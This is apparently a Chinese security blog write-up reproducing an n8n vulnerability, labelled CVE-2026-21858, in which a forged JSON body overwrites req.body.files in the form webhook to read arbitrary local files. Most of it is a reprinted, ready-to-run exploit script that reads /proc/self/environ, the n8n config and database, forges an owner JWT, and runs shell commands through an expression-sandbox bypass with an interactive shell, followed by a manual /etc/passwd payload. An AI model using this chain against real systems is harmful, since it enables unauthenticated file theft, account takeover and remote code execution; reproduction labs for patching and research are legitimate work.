什么是 n8n ？

n8n是一款开源的自动化工作流工具，允许用户通过可视化界面将不同的服务和应用连接起来，实现数据自动流转和任务自动化。n8n 支持 350+ 种集成（如 HTTP、数据库、邮件、Slack、GitHub 等），并允许自定义代码节点，适合开发者和非开发者使用。
⚪参考

Analysis：

网络钩子 Webhook 是一种帮助服务实现事件驱动的组件。它无需不断向其他应用程序和服务发送请求来检查事件是否发生，而是只需监听并等待指示事件发生的特定消息即可。

在 n8n 中，Webhooks 是工作流的起点，可让您捕获来自表单、聊天消息、WhatsApp 通知等的传入数据。 ‍ 所有 Webhook 节点的执行流程都以相同的方式开始，而这部分与我们在这里讨论的内容并不相关，所以我们就称之为“Webhook 黑盒”。
之后，流程会调用一个名为 parseRequestBody() 的中间件函数 ，不同 Webhook 之间唯一不同的是最后调用的实际逻辑函数。
‍
为了避免混淆，从现在开始，我将把 parseRequestBody() 称为“ 中间件 ”。

此函数读取 Content-Type 标头用于确定如何解析请求体。
对于 multipart/form-data 请求，它使用 parseFormData() 函数。对于所有其他内容类型，它使用 parseBody() 。
从现在开始，我将把 parseFormData() 称为“ 文件上传解析器 ”，把 parseBody() 称为“ 常规正文解析器 ”。
为了保持重点突出，我不会包含常规的 body 解析器源代码。
需要理解的关键是，该函数根据 Content-Type 标头解析 HTTP 正文，然后将解码结果存储在 req.body 全局变量中。

现在我们来看一下文件上传解析器 。这个函数只是对 Formidable 的 parse() 函数的一个封装——而这个细节对于理解漏洞至关重要。
Formidable 是一个用于处理文件上传的 Node.js 库。
它可以解析 multipart/form-data 请求，并处理所有文件上传机制——包括安全方面的问题。
这里的关键安全细节在于：当 Formidable 处理上传的文件时，它会自动将文件保存到临时目录中随机生成的路径。这意味着用户无法控制文件的最终保存位置，从而有效防止路径遍历攻击。
关键在于： 文件上传解析器封装了 Formidable 的 parse() 函数。与填充 req.body 的常规请求体解析器不同 ，此解析器填充的是 req.body.files 使用 Formidable 的输出。

n8n 中文件上传的处理为了了解该漏洞，我们首先需要了解 n8n 是如何处理文件上传的。
在 n8n 中，任何文件处理函数的标准做法都是直接从 req.body.files 获取上传的文件 。
ChatTrigger Webhook 就是这种模式的一个很好的例子。

该函数首先验证 Content-Type 标头是否为 multipart/form-data ，然后调用 handleFormData() 来处理上传的文件。从现在开始，我将把 handleFormData() 称为“ 文件处理程序 ”。 问题是——为什么该函数要验证内容类型？ 原因很简单： 文件处理程序 ，就像 n8n 中的任何其他文件处理函数一样，从 req.body.files 获取数据 。
正如我们之前讨论的 ，该变量仅由文件上传解析器填充 ，而文件上传解析器仅在内容类型为 multipart/form-data 时运行 。

Content-Type 混淆

问题是——如果在未验证 Content-Type 是否为 multipart/form-data 的情况下调用文件处理函数，会发生什么情况 ？
在正常流程中，内容类型仍然是 multipart/form-data ，所以没有问题——合法用户发送预期的内容类型。
但如果攻击者将内容类型更改为 application/json 之类的类型 ，则中间件会调用常规的 body 解析器， 而不是文件上传解析器。
‍ 这意味着 req.body.files 将不会填充数据——导致错误。
但真正的问题是：这种“内容类型混淆”是否可以被利用？还记得我们之前讨论过的常规请求体解析器的工作原理吗？
“ 需要理解的关键是，这个函数会根据 Content-Type 标头解析 HTTP 正文，然后将解码后的结果存储在 req.body 全局变量中。”

假设给定以下请求：

 req.body 中填充的是解码后的 HTTP 请求体内容，并且没有任何东西可以阻止 req.body.files 被覆盖。
如果 n8n 的某个流程中，文件处理函数在运行时没有验证内容类型是否为 multipart/form-data ，那么攻击者就可以覆盖 req.body.files 并完全控制它——这可能会导致安全漏洞。
处理表单提交的函数是 formWebhook 。它会执行很多我们在调用 prepareFormReturnItem 之前无需担心的操作 prepareFormReturnItem.

表单 Webhook 函数调用 prepareFormReturnItem() 时并未验证内容类型是否为 multipart/form-data 。_。

这是一个文件处理函数，它会对 req.body.files 中的每个文件调用 copyBinaryFile() 。
copyBinaryFile copyBinaryFile() 函数将文件从其临时路径（存储在 req.body.files[id].filepath ）复制到持久存储——根据配置，可以是磁盘或 S3 对象存储。
问题在于：由于调用此函数时没有验证内容类型是否为 multipart/form-data ，因此我们控制了整个 req.body.files 对象。
这意味着我们可以控制 filepath 路径参数——因此，我们不仅可以复制上传的文件，还可以复制系统中的任何本地文件。
结果如何？表单节点之后的任何节点都会接收本地文件的内容，而不是用户上传的内容。

环境准备：

首先你需要又一个docker；
n8n复现环境下载：GitHub – Chocapikk/CVE-2026-21858: n8n Ni8mare – Unauthenticated Arbitrary File Read to RCE Chain (CVSS 10.0)；
docker部署n8n的时候可能会出现部署失败的情况，那么就修改Dockerfile文件：

FROM node:20-slim

RUN npm config set registry https://registry.npmmirror.com

RUN npm install -g n8n@1.65.0

EXPOSE 5678

CMD [“n8n”, “start”]

复现：

tip 本次复现设置的未授权的api为：/form/vulnerable-form

访问：http://your_range_service_ip:5678

我们可以通过环境中自带的exp来先做一个尝试：

!/usr/bin/env python3

“””
CVE-2026-21858 + CVE-2025-68613 – n8n Full Chain Exploit
Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE

Author: Chocapikk
GitHub: https://github.com/Chocapikk/CVE-2026-21858
“””

import argparse
import hashlib
import json
import secrets
import sqlite3
import string
import tempfile
from base64 import b64encode

import jwt
import requests
from pwn import log

BANNER = “””
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 – n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
║ ║
║ by Chocapikk ║
╚═══════════════════════════════════════════════════════════════╝
“””
RCE_PAYLOAD = ‘={{ (function() { var require = this.process.mainModule.require; var execSync = require(“child_process”).execSync; return execSync(“CMD”).toString(); })() }}’

def randstr(n: int = 12) -> str:
return “”.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n))

def randpos() -> list[int]:
return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100]

class Ni8mare:
def init(self, base_url: str, form_path: str):
self.base_url = base_url.rstrip(“/”)
self.form_url = f”{self.base_url}/{form_path.lstrip(‘/’)}”
self.session = requests.Session()
self.admin_token = None

def _api(self, method: str, path: str, **kwargs) -> requests.Response | None:
kwargs.setdefault(“timeout”, 30)
kwargs.setdefault(“cookies”, {“n8n-auth”: self.admin_token} if self.admin_token else {})
resp = self.session.request(method, f”{self.base_url}{path}”, **kwargs)
return resp if resp.ok else None

def _lfi_payload(self, filepath: str) -> dict:
return {
“data”: {},
“files”: {
f”f-{randstr(6)}”: {
“filepath”: filepath,
“originalFilename”: f”{randstr(8)}.bin”,
“mimetype”: “application/octet-stream”,
“size”: secrets.randbelow(90000) + 10000
}
}
}

def _build_nodes(self, command: str) -> tuple[list, dict, str, str]:
trigger_name, rce_name = f”T-{randstr(8)}”, f”R-{randstr(8)}”
result_var = f”v{randstr(6)}”
payload_value = RCE_PAYLOAD.replace(“CMD”, command.replace(‘”‘, ‘\\”‘))
nodes = [
{“parameters”: {}, “name”: trigger_name, “type”: “n8n-nodes-base.manualTrigger”,
“typeVersion”: 1, “position”: randpos(), “id”: f”t-{randstr(12)}”},
{“parameters”: {“values”: {“string”: [{“name”: result_var, “value”: payload_value}]}},
“name”: rce_name, “type”: “n8n-nodes-base.set”, “typeVersion”: 2,
“position”: randpos(), “id”: f”r-{randstr(12)}”}
]
connections = {trigger_name: {“main”: [[{“node”: rce_name, “type”: “main”, “index”: 0}]]}}
return nodes, connections, trigger_name, rce_name

# ========== Arbitrary File Read (CVE-2026-21858) ==========

def read_file(self, filepath: str, timeout: int = 30) -> bytes | None:
resp = self.session.post(
self.form_url, json=self._lfi_payload(filepath),
headers={“Content-Type”: “application/json”}, timeout=timeout
)
return resp.content if resp.ok and resp.content else None

def get_version(self) -> tuple[str, bool]:
resp = self._api(“GET”, “/rest/settings”, timeout=10)
version = resp.json().get(“data”, {}).get(“versionCli”, “0.0.0”) if resp else “0.0.0”
major, minor = map(int, version.split(“.”)[:2])
return version, major < 1 or (major == 1 and minor < 121)

def get_home(self) -> str | None:
data = self.read_file(“/proc/self/environ”)
if not data:
return None
for var in data.split(b”\x00″):
if var.startswith(b”HOME=”):
return var.decode().split(“=”, 1)[1]
return None

def get_key(self, home: str) -> str | None:
data = self.read_file(f”{home}/.n8n/config”)
return json.loads(data).get(“encryptionKey”) if data else None

def get_db(self, home: str) -> bytes | None:
return self.read_file(f”{home}/.n8n/database.sqlite”, timeout=120)

def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
with tempfile.NamedTemporaryFile(suffix=”.db”) as f:
f.write(db)
f.flush()
conn = sqlite3.connect(f.name)
row = conn.execute(“SELECT id, email, password FROM user WHERE role=’global:owner’ LIMIT 1”).fetchone()
conn.close()
return (row[0], row[1], row[2]) if row else None

def forge_token(self, key: str, uid: str, email: str, pw_hash: str) -> str:
secret = hashlib.sha256(key[::2].encode()).hexdigest()
h = b64encode(hashlib.sha256(f”{email}:{pw_hash}”.encode()).digest()).decode()[:10]
self.admin_token = jwt.encode({“id”: uid, “hash”: h}, secret, “HS256”)
return self.admin_token

def verify_token(self) -> bool:
return self._api(“GET”, “/rest/users”, timeout=10) is not None

# ========== RCE (CVE-2025-68613) ==========

def rce(self, command: str) -> str | None:
nodes, connections, _, _ = self._build_nodes(command)
wf_name = f”wf-{randstr(16)}”
workflow = {“name”: wf_name, “active”: False, “nodes”: nodes,
“connections”: connections, “settings”: {}}

resp = self._api(“POST”, “/rest/workflows”, json=workflow, timeout=10)
if not resp:
return None
wf_id = resp.json().get(“data”, {}).get(“id”)
if not wf_id:
return None

run_data = {“workflowData”: {“id”: wf_id, “name”: wf_name, “active”: False,
“nodes”: nodes, “connections”: connections, “settings”: {}}}
resp = self._api(“POST”, f”/rest/workflows/{wf_id}/run”, json=run_data, timeout=30)
if not resp:
self._api(“DELETE”, f”/rest/workflows/{wf_id}”, timeout=5)
return None

exec_id = resp.json().get(“data”, {}).get(“executionId”)
result = self._get_result(exec_id) if exec_id else None
self._api(“DELETE”, f”/rest/workflows/{wf_id}”, timeout=5)
return result

def _get_result(self, exec_id: str) -> str | None:
resp = self._api(“GET”, f”/rest/executions/{exec_id}”, timeout=10)
if not resp:
return None
data = resp.json().get(“data”, {}).get(“data”)
if not data:
return None
parsed = json.loads(data)
# Result is usually the last non-empty string
for item in reversed(parsed):
if isinstance(item, str) and len(item) > 3 and item not in (“success”, “error”):
return item.strip()
return None

# ========== Full Chain ==========

def pwn(self) -> bool:
p = log.progress(“HOME directory”)
home = self.get_home()
if not home:
return p.failure(“Not found”) or False
p.success(home)

p = log.progress(“Encryption key”)
key = self.get_key(home)
if not key:
return p.failure(“Failed”) or False
p.success(f”{key[:8]}…”)

p = log.progress(“Database”)
db = self.get_db(home)
if not db:
return p.failure(“Failed”) or False
p.success(f”{len(db)} bytes”)

p = log.progress(“Admin user”)
admin = self.extract_admin(db)
if not admin:
return p.failure(“Not found”) or False
uid, email, pw = admin
p.success(email)

p = log.progress(“Token forge”)
self.forge_token(key, uid, email, pw)
p.success(“OK”)

p = log.progress(“Admin access”)
if not self.verify_token():
return p.failure(“Rejected”) or False
p.success(“GRANTED!”)

log.success(f”Cookie: n8n-auth={self.admin_token}”)
return True

def parse_args():
p = argparse.ArgumentParser(description=”n8n Ni8mare – Full Chain Exploit”)
p.add_argument(“url”, help=”Target URL (http://target:5678)”)
p.add_argument(“form”, help=”Form path (/form/upload)”)
p.add_argument(“–read”, metavar=”PATH”, help=”Read arbitrary file”)
p.add_argument(“–cmd”, metavar=”CMD”, help=”Execute single command”)
p.add_argument(“-o”, “–output”, metavar=”FILE”, help=”Save LFI output to file”)
return p.parse_args()

def run_read(exploit: Ni8mare, path: str, output: str | None) -> None:
data = exploit.read_file(path)
if not data:
log.error(“File read failed”)
return
log.success(f”{len(data)} bytes”)
if output:
with open(output, “wb”) as f:
f.write(data)
log.success(f”Saved: {output}”)
return
print(data.decode())

def run_cmd(exploit: Ni8mare, cmd: str) -> None:
p = log.progress(“RCE”)
out = exploit.rce(cmd)
if not out:
p.failure(“Failed”)
return
p.success(“OK”)
print(f”\n{out}”)

def run_shell(exploit: Ni8mare) -> None:
log.info(“Interactive mode (type ‘exit’ to quit)”)
while True:
try:
cmd = input(“\033[91mn8n\033[0m> “).strip()
except (EOFError, KeyboardInterrupt):
print()
return
if not cmd or cmd == “exit”:
return
out = exploit.rce(cmd)
if out:
print(out)

def main():
print(BANNER)
args = parse_args()

exploit = Ni8mare(args.url, args.form)
version, vuln = exploit.get_version()
log.info(f”Target: {exploit.form_url}”)
log.info(f”Version: {version} ({‘VULN’ if vuln else ‘SAFE’})”)

if args.read:
run_read(exploit, args.read, args.output)
return

if not exploit.pwn():
return

if args.cmd:
run_cmd(exploit, args.cmd)
return

run_shell(exploit)

if name == “main“:
main()

使用方法：

任意文件读取

现在来手动尝试一下：

访问一下未授权的文件上传接口：http://your_range_service_ip:5678/form/vulnerable-form

随便上传一个文件，顺带抓个包
原始数据包：

改之；
首先就是文件类型，修改为application/json

请求体：

{
“data”: {},
“files”: {
“field-0”: {
“filepath”: “/etc/passwd”,
“originalFilename”: “1.pdf”,
“mimetype”: “text/plain”,
“extension”: “”
}
}
}